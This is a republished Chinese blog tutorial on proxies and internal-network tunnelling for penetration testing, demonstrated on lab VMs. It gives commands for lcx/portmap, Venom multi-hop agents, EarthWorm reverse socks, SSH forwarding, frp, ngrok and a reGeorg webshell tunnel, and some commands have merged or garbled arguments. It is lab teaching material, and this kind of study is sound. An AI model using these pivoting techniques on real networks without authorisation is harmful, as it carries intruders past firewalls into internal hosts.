0


代理内网穿透-Lcx.exe-venom-proxychains

代理

未经授权禁止任何渗透测试

面试常问

1.正向代理和反向代理的区别
2.正向代理和反向代理 常见出现位置

正向代理 客户端明确知道 存在一个中间代理服务器 反向代理 该代理对外表现就是一个服务器

一.概述

利用代理工具将内网的流量代理到本地进行访问或者利用工具将其他网段的流量转发到本地进行纵向渗透

msf 中 portfwd
将目标主机上的端口转发到msf所在的服务器上

代理的本质是socks协议.

二.代理分类:

1.正向代理

正向代理是将我们的流量转发给一个跳板,然后该跳板将我们发送给他的包转发给目标
比如我们国内访问,直接访问访问不到,我们可以通过一个正向代理服务器,请求发到代理服务器,代理服务器能够访问,这样由代理去取到返回数据,再返回给我们,这样我们就能访问*了
在这里插入图片描述
正向代理用途

访问原来无法访问的资源,如****,公司内网
出差访问公司内网

vpnclient 分配公司内网的ip地址

对客户端访问授权,上网进行认证
代理可以记录用户访问记录(上网行为管理),对外隐藏用户信息

xxxx 上网行为管理

反向代理

反向代理以代理服务器来处理来自网络上的连接请求,然后将请求转发到内部网络上的服务器,并将从内部服务器得到的结果返回给来自网络上的客户端,此时,代理服务器表现为一个服务器

在这里插入图片描述

反向代理的作用:

边界防火墙 nat
保证内网的安全,一定程度上阻止web攻击.
在大型网站中,通常将反向代理作为公网访问地址,而真正的Web服务器存在于内网之中.
负载均衡,通过反向代理服务器来优化网站的负载

三.Lcx.exe内网端口转发

在这里插入图片描述
在这里插入图片描述

步骤

bihuo 虚拟机 <=======> kali linux <=======> 物理机

物理机访问bihuo 虚拟机的3389端口 直接访问无法访问到

bihuo虚拟机: 主动将自身的3389端口的流量转发到kali linux 主机上的特定端口(11111)

kali linux 虚拟机: 在11111端口监听来自于bihuo虚拟机3389的流量 将11111端口接收到的流量转发到kali linux 的22222端口

物理机: 访问kali linux 的22222端口 就可以获得bihuo虚拟机的3389端口的流量

在这里插入图片描述

下载lcx – linux 版本 portmap

linux系统作为转发

  1. kali linux 虚拟机: 在11111端口监听来自于bihuo虚拟机3389的流量 将11111端口接收到的流量转发到kali linux 的22222端口

公网主机上执行:lcx.exe –listen 接收数据的端口 映射流量的端口,意思是监听公网主机本机的 11111端口请求,并将来自 11111 端口的请求传送给 22222 端口。

命令:

./portmap -m 2 -p1 11111 -p2 22222

在这里插入图片描述

  1. bihuo虚拟机: 主动将自身的3389端口的流量转发到kali linux 主机上的特定端口(11111)

内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口,意思是把内网主机的某端口转发到具有公网ip主机的 对应 端口。

开启3389
在这里插入图片描述

在这里插入图片描述
命令

lcx.exe -slave 192.168.0.142 1111127.0.0.1 3389

在这里插入图片描述
3. 此时物理机直接访问:kaliIP:22222,即可转发到内网IP的3389
在这里插入图片描述
在这里插入图片描述

window系统转发流量

 kali linux <=======> bihuo 虚拟机<=======> 物理机

物理机访问 kali linux 虚拟机的22端口 直接访问无法访问到

kali linux虚拟机: 主动将自身的22端口的流量转发到bihuo虚拟机的特定端口(11111)

bihuo虚拟机: 在11111端口监听来自于kali linux虚拟机22的流量 将11111端口接收到的流量转发到bihuo虚拟机 的22222端口

物理机: 访问bihuo虚拟机的22222端口 就可以获得kali linux 虚拟机的22端口的流量
  1. bihuo虚拟机: 在11111端口监听来自于kali linux虚拟机22的流量 将11111端口接收到的流量转发到bihuo虚拟机 的22222端口

命令:

lcx.exe -listen 1111122222

在这里插入图片描述
在这里插入图片描述

  1. kali linux虚拟机: 主动将自身的22端口的流量转发到bihuo虚拟机的特定端口(11111)

命令:

servicessh start  # 开启22端口

在这里插入图片描述
命令:

./portmap\ lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 192.168.0.3 -p2 11111

在这里插入图片描述

  1. 物理机: 访问bihuo虚拟机的22222端口 就可以获得kali linux 虚拟机的22端口的流量 访问

命令:

ssh [email protected] -p 22222

在这里插入图片描述

四.venom 内网穿透

使用go开发的多级代理工具,可以将多个节点进行连接,然后以节点为跳板,构建多级代理.

bihuo java虚拟机(192.168.0.13)<======> sql server注入(192.168.0.21:32145)<======> kali linux(192.168.0.142:22331)<=======> 物理机(192.168.0.17:12345)

在物理机上使用admin.exe 监听本地的12345端口

kali linux 需要连接物理机的12345端口

在这里插入图片描述

1. 在物理机上使用admin.exe 监听本地的12345端口

命令:

admin.exe -lport 12345

在这里插入图片描述

2. kali linux 需要连接物理机的12345端口

在这里插入图片描述
命令:

./agent_linux_x64 -rhost 192.168.0.17 -rport 12345

在这里插入图片描述

3. 物理机进入kali linux 1节点 转发22331

命令:

goto 1
listen 22331

在这里插入图片描述

4. sql server 连接kali linux的 22331端口

命令:

agent.exe -rhost 192.168.0.142 -rport 22331

在这里插入图片描述

5.物理机进入sql server 2节点 转发32145

命令:

 goto 2
 listen 32145

在这里插入图片描述

6. java虚拟机连接sql server的32145

命令:

agent.exe -rhost 192.168.0.21 -rport 32145

在这里插入图片描述

  1. show 拓扑

在这里插入图片描述
8. shell交互模式

在这里插入图片描述
9. help 帮助
在这里插入图片描述

10. 通过访问25612端口 就能够访问到节点3 (java bihuo虚拟机中的端口

命令:
物理机转发25612

goto 3
socks 25612

在这里插入图片描述
netstat -ano | findstr 25612 查看端口是否开启
在这里插入图片描述

11. proxfer工具

venom 全局代理
socks 一次转发使用流量
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. lforward 转发本地流量 lforward 是将admin.exe所在的主机的端口映射到内部节点的目标端口

在这里插入图片描述
命令:

lforward 127.0.0.1 808888

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  1. rfprward 将sql server 虚拟机3389 转发 到物理机的3377 命令: rfprward 192.168.0.21 3389 3377在这里插入图片描述

upload 上传
在这里插入图片描述
命令
在这里插入图片描述
download 下载
在这里插入图片描述
在这里插入图片描述

明文连接
在这里插入图片描述

-passwd 增加密码 进行流量加密
命令

admin.exe -lport 12345 -passwd bihuo

在这里插入图片描述
命令:

./agent_linux_x64 -rhost 192.168.0.17 -rport 12345 -passwd bihuo

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

五.proxychains proxy 代理 全局代理工具

proxychains 目前支持的平台主要是 Linux 和 Mac。

chains 链条

将sql server 流量转发到33221
命令

socks 33221

在这里插入图片描述
命令:

vim /etc/proxychains.conf

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

六.earthworm ===> 内网穿透

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

专有主页: http://rootkiter.com/EarthWorm/

在这里插入图片描述

1. 全局流量代理

普通网络环境:

  1. 目标网络边界存在公网IP且可任意开监听端口:
    命令
chmod +x ew_for_linux64 
./ew_for_linux64 -s ssocksd -l 8888

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  1. 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理 一台可控公网IPkali主机 可控内网主机bihuo-win7 +---------+ +--------------------------+ | +---------------+ |HackTools| ->> | 1080 -> 192.168.0.142 -> 8888 | 防火墙 | <-- 192.168.0.21 | +---------+ +--------------------------+ | +---------------+ kali) ./ew -s rcsocks -l 1080 -e 8888 // 在 192.168.0.142 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机 bihuo) ./ew -s rssocks -d 192.168.0.142 -e 8888 // 将目标网络的可控边界主机反向连接公网主机 c) HackTools 可通过访问 192.168.0142:1080 端口使用 rssocks 主机提供的 socks5 代理服务
  2. kali linux作为中间主机 将1080接收的流量转发8888在这里插入图片描述

mssql主动连接kali linux中间主机的8888端口
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  1. 获得目标网络内两台主机 A、B 的权限,情况描述如下:

A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。

A 主机可直连 B 主机
物理机<<->> 一台可控公网IP主机(kali) <<------>> 可控内网主机(sql-server) <<------>>可访问指定资源的主机(java)
±--------+ ±-------------------------+ | ±----------------+ ±----------------+
|HackTools| ->> | 1080 -> 192.168.0.142 -> 8888 | 防火墙 | <-- 192.168.0.67 --> | ->> | 9999 -> 192.168.0.13 |
±--------+ ±-------------------------+ | ±----------------+ ±----------------+

a) ./ew -s lcx_listen -l 1080 -e 8888
// 在 192.168.0.142 公网主机添加转接隧道,将 1080 收到的代理请求
// 转交给反连 8888 端口的主机
b) ./ew -s ssocksd -l 9999
// 在 192.168.0.13 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理

c) ./ew -s lcx_slave -d 192.168.0.142 -e 8888 -f 192.168.0.13 -g 9999
// 在 192.168.0.67 上,通过工具的 lcx_slave 方式,打通192.168.0.142:8888 和 192.168.0.13:9999 之间的通讯隧道

d) HackTools 可通过访问 192.168.0.142:1080 来使用 192.168.0.13 主机提供的 socks5 代理

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

七. ngrok 把80端口映射到公网

https://dashboard.ngrok.com/signup

在这里插入图片描述
命令:

ngrok.exe  http 80

在这里插入图片描述
在这里插入图片描述

八.ssh代理转发

-C 压缩传输,提高传输速度。
 -f 将 SSH 传输转入后台执行,不占用当前 shell (不阻塞)
 -N 建立静默连接(建立了连接但看不到具体会话)
 -g 允许远程主机连接本地用于转发的端口。
 -L 本地端口转发
 -R 远程端口转发
 -D 动态转发( SOCKS 代理)
 -p 指定 SSH 端口

查看端口开放命令:
netstat -ano | findstr 3389

1.ssh正向代理

  1. 配置kali 主机开启ssh服务 命令:
servicessh start

在这里插入图片描述

  1. 在物理机(攻击)执行对应的命令 利用ssh创建生成管道 192.168.0.13:3389ip是被转发目标的IP端口 命令:
ssh -CfNg -L 3388:192.168.0.13:3389 [email protected]

在这里插入图片描述
3. 连接自己的3388
在这里插入图片描述

2.ssh反向代理

在这里插入图片描述
本地
ssh -CfNg -R ssh服务所在ip将要监听的端口:内网主机IP:内网主机端口 ssh用户名@ssh所在的ip

命令:

ssh -CfNg -R 8889:192.168.0.13:3389 [email protected]

在这里插入图片描述

在这里插入图片描述
总结:

ssh 在attacker 执行命令 通过ssh 将内网中的端口映射到attacker的特定端口

反向代理: 被转发的主机通过 ssh 将自身的端口映射到ssh 所在主机的特定端口

九.frp 用的多

https://github.com/fatedier/frp/releases

通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:
客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
代理组间的负载均衡。
端口复用,多个服务通过同一个服务端端口暴露。
多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
服务端和客户端 UI 页面。

如何用
在这里插入图片描述

1.实验: 通过 SSH 访问内网机器

frps bihuo java虚拟机 充当服务器

kali linux 充当被转发端口的主机

在这里插入图片描述
frps 是服务器 具有公网 IP 的节点

  1. frps bihuo java虚拟机监听7000端口 命令:
frps.exe -c ./frpc.ini

在这里插入图片描述

在这里插入图片描述

  1. 将kali linux 的端口通过frp转发到java 虚拟机的6000端口在这里插入图片描述 命令:
./frpc -c ./frpc.ini

在这里插入图片描述
java虚拟机
7000端口等待连接
在这里插入图片描述

  1. 物理机连接java虚拟机7000端口 命令:
ssh -oPort=6000 [email protected]

在这里插入图片描述

2.实验:通过自定义域名访问内网的 Web 服务

  1. 修改 frps.ini 文件,设置监听 HTTP 请求端口为 8080:在这里插入图片描述

8080 映射web服务的

命令:

frps.exe -c ./frps.ini

在这里插入图片描述

  1. frpc 客户端

修改 frpc.ini 文件,假设 frps 所在的服务器的 IP 为 x.x.x.x,local_port 为本地机器上 Web 服务监听的端口, 绑定自定义域名为 yui -roge 。

[common]
server_addr =192.168.0.13
server_port =7000[web]type= http
local_port =80
custom_domains = www.roge.com

[web2]type= http
local_port =8080
custom_domains = www.yui.com

在这里插入图片描述
命令:

./frpc -c ./frpc.ini

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
3. 通过浏览器访问 http://www.roge.com:8080 即可访问到处于内网机器上 80 端口的服务,访问 http://www.yui.com:8080 则访问到内网机器上 8080 端口的服务。
在这里插入图片描述

3. 对外提供简单的文件访问服务

通过 static_file 插件可以对外提供一个简单的基于 HTTP 的文件访问服务。

  1. frps.ini 内容如下:
[common]
bind_port =8000

运行:
命令:

frps.exe -c ./frps.ini
  1. frpc.ini 内容如下:
[common]
server_addr =192.168.0.13
server_port =8000[test_static_file]type= tcp
remote_port =6000
plugin = static_file
#要对外暴露的文件目录
plugin_local_path = /home/kali/Desktop
#用户访问 URL 中会被去除的前缀,保留的内容即为要访问的文件路径
plugin_strip_prefix = static
plugin_http_user = abc
plugin_http_passwd = abc

运行:
命令:

./frpc -c ./frpc.ini

在这里插入图片描述

  1. 通过浏览器访问 http://192.168.0.13:6000/static/ 来查看位于 /home/kali/Desktop 目录下的文件,会要求输入已设置好的用户名和密码。

在这里插入图片描述
在这里插入图片描述

4. 安全地暴露内网服务

这个示例将会创建一个只有自己能访问到的 SSH 服务代理。
对于某些服务来说如果直接暴露于公网上将会存在安全隐患。

使用 stcp(secret tcp) 类型的代理可以避免让任何人都能访问到要穿透的服务,但是访问者也需要运行另外一个 frpc 客户端。

在这里插入图片描述

  1. frps.ini 内容如下:
[common]
bind_port =8000

命令:执行

frps.exe -c ./frps.ini
  1. 在需要暴露到内网的机器上部署 frpc,且配置如下:
[common]
server_addr =192.168.0.13
server_port =8000[secret_ssh]type= stcp
#只有 sk 一致的用户才能访问到此服务
sk = bihuo
local_ip =127.0.0.1
local_port =22

命令:执行

./frpc -c ./frpc.ini
  1. 在想要访问内网服务的机器上也部署 frpc,且配置如下: [common] server_addr = 192.168.0.13 server_port = 8000

[secret_ssh_visitor]
type = stcp
#stcp 的访问者
role = visitor
#要访问的 stcp 代理的名字
server_name = secret_ssh
sk = bihuo
#绑定本地端口用于访问 SSH 服务
bind_addr = 127.0.0.1
bind_port = 6000

命令:执行

./frpc -c ./frpc.ini

在这里插入图片描述
在这里插入图片描述

  1. 通过 SSH 访问内网机器,假设用户名为 bihuo:

ssh -oPort=6000 test@127.0.0.1
在这里插入图片描述

十. regeorg

在这里插入图片描述
安装命令:

pip install urllib3

需要python2环境
在这里插入图片描述
将 bihuo java虚拟机的流量转发

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

将 bihuo java虚拟机的流量转发

命令:

python2 reGeorgSocksProxy.py -p 8383 -u http://192.168.0.13/tunnel.php

在这里插入图片描述
命令:

vim /etc/proxychains.conf

在这里插入图片描述
在这里插入图片描述

标签: web安全 安全

本文转载自: https://blog.csdn.net/qq_42096378/article/details/124380934
版权归原作者 嗯光 所有, 如有侵权,请联系我们删除。

“代理内网穿透-Lcx.exe-venom-proxychains”的评论:

还没有评论